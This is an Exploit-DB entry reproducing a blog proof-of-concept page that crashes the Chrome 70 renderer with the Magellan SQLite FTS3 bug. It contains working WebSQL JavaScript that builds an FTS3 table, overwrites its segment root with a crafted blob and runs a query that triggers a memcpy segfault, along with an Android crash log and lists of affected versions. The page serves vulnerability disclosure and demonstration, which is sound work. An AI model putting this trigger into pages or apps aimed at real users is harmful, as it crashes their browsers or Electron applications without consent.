EDB-ID:

46042

CVE:

N/A

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Published:

2018-12-15

<!---
title: Crash Chrome 70 with the SQLite Magellan bug
categories: chrome
permalink: /sqlitebug/
layout: post
---!>

<p>This proof-of-concept crashes the Chrome renderer process using <a href="https://blade.tencent.com/magellan/index_en.html">Tencent Blade Team's Magellan SQLite3 bug</a>. It's based on  <a href="https://www.sqlite.org/src/info/940f2adc8541a838">a SQLite test case</a> from the commit that fixed the bug.</p>

<p><span id="prompttext">If you're using Chrome 70 or below, tap the button below to crash this page:</span></p>
<button onClick="crash()" style="font-size: 150%">Crash this page</button>
<p>Your browser's user agent is: <span id="browserUserAgent">not available without JavaScript. Turn it on!</span></p>

<p><a href="https://github.com/zhuowei/worthdoingbadly.com/blob/master/_posts/2018-12-14-sqlitebug.html">Source code for this page on GitHub</a>.</p>

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<h1>What's supposed to happen?</h1>
<p>After you press the button, the page should crash:</p>
<p><img src="/assets/blog/sqlitebug/sqlite_cropped.png" alt="screenshot"></p>
<p>On Android 5.1, I get a segfault in memcpy:</p>
<pre style="font-size: 10px">
        F/libc    ( 3801): Fatal signal 11 (SIGSEGV), code 1, fault addr 0xe0ddb457 in tid 3854 (Database thread)
        I/DEBUG   (  142): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
        I/DEBUG   (  142): Build fingerprint: 'google/nakasi/grouper:5.1/LMY47D/1743759:user/release-keys'
        I/DEBUG   (  142): Revision: '0'
        I/DEBUG   (  142): ABI: 'arm'
        I/DEBUG   (  142): pid: 3801, tid: 3854, name: Database thread  >>> com.android.chrome:sandboxed_process6 <<<
        I/DEBUG   (  142): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xe0ddb457
        I/DEBUG   (  142):     r0 e0ddb457  r1 611be0ab  r2 00000002  r3 ff000000
        I/DEBUG   (  142):     r4 611be038  r5 00000002  r6 611be0a9  r7 7fffffff
        I/DEBUG   (  142):     r8 00000001  r9 611be0ab  sl 80000001  fp 00000000
        I/DEBUG   (  142):     ip 00000066  sp 6defd3a0  lr 00000074  pc 4025eb62  cpsr 680f2430
        I/DEBUG   (  142): 
        I/DEBUG   (  142): backtrace:
        I/DEBUG   (  142):     #00 pc 0000fb62  /system/lib/libc.so (__memcpy_base+217)
        I/DEBUG   (  142):     #01 pc 018d0e1d  /data/app/com.android.chrome-1/base.apk
</pre>

<h1>What's affected?</h1>
<p>Affected: tested, causes one tab/one window to crash:</p>
<ul>
    <li>Chrome 70.0.3538.110 on Android 5.1 and 9</li>
    <li>Electron 2.0.12 on macOS 10.14</li>
</ul>
<p>Not affected:</p>
<ul>
    <li>Chrome 71.0.3578.98 on Android 8.1 (already fixed)</li>
    <li>Safari (doesn't have FTS enabled in SQLite3)</li>
    <li>Browsers not based on Chrome (no WebSQL support)</li>
</ul>

<script>
// https://gist.github.com/nolanlawson/0264938033aca2201012
// https://www.sqlite.org/src/info/940f2adc8541a838
const db = openDatabase('fts_demo', 1, 'fts_demo', 5000000);

const firstStatements = [
"DROP TABLE IF EXISTS ft;",
"CREATE VIRTUAL TABLE ft USING fts3;",
"INSERT INTO ft VALUES('aback');",
"INSERT INTO ft VALUES('abaft');",
"INSERT INTO ft VALUES('abandon');",
];

const secondStatements = [
"SELECT quote(root) from ft_segdir;",
"UPDATE ft_segdir SET root = X'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';",
"SELECT * FROM ft WHERE ft MATCH 'abandon';"
];

function dbSuccess() {
	console.log("success");
	console.log(arguments);
}

function dbErr() {
	console.log("err");
	console.log(arguments);
}

function runAll(statements, success) {
	db.transaction((tx) => {
		console.log("alive");
		for (const statement of statements) {
			console.log("queueing " + statement);
			tx.executeSql(statement, [], dbSuccess, dbErr);
		}
		console.log("queued");
	}, dbErr, success);
}
function crash() {
	runAll(firstStatements, (event) => {
		console.log(event);
		runAll(secondStatements, (event) => {
			console.log(event);
		});
	});
}
// onload
function getChromeVersion(userAgent) {
    for (const part of userAgent.split(" ")) {
        if (part.startsWith("Chrome/") || part.startsWith("Chromium/")) {
            return part.substring(part.indexOf("/") + 1);
        }
    }
    return null;
}
function isChromeSupported(chromeVersion) {
    if (chromeVersion == null) return false;
    const firstPart = chromeVersion.substring(0, chromeVersion.indexOf("."));
    return parseInt(firstPart) <= 70;
}
function getPromptText(userAgent) {
    const chromeVersion = getChromeVersion(userAgent);
    if (chromeVersion == null) {
        return "This demo only works on Chrome 70 or below. Open this page in Chrome 70, then tap the button.";
    }
    const chromeOK = isChromeSupported(chromeVersion);
    if (chromeOK) {
        return "You're using Chrome 70 or below, so you may be vulnerable. Tap the button to crash this page.";
    }
    return "Your Chrome is too new. Open this page in Chrome 70, then tap the button.";
}
function onLoad() {
    document.getElementById("browserUserAgent").textContent = navigator.userAgent;
    document.getElementById("prompttext").textContent = getPromptText(navigator.userAgent);
}
window.onload = onLoad;
</script>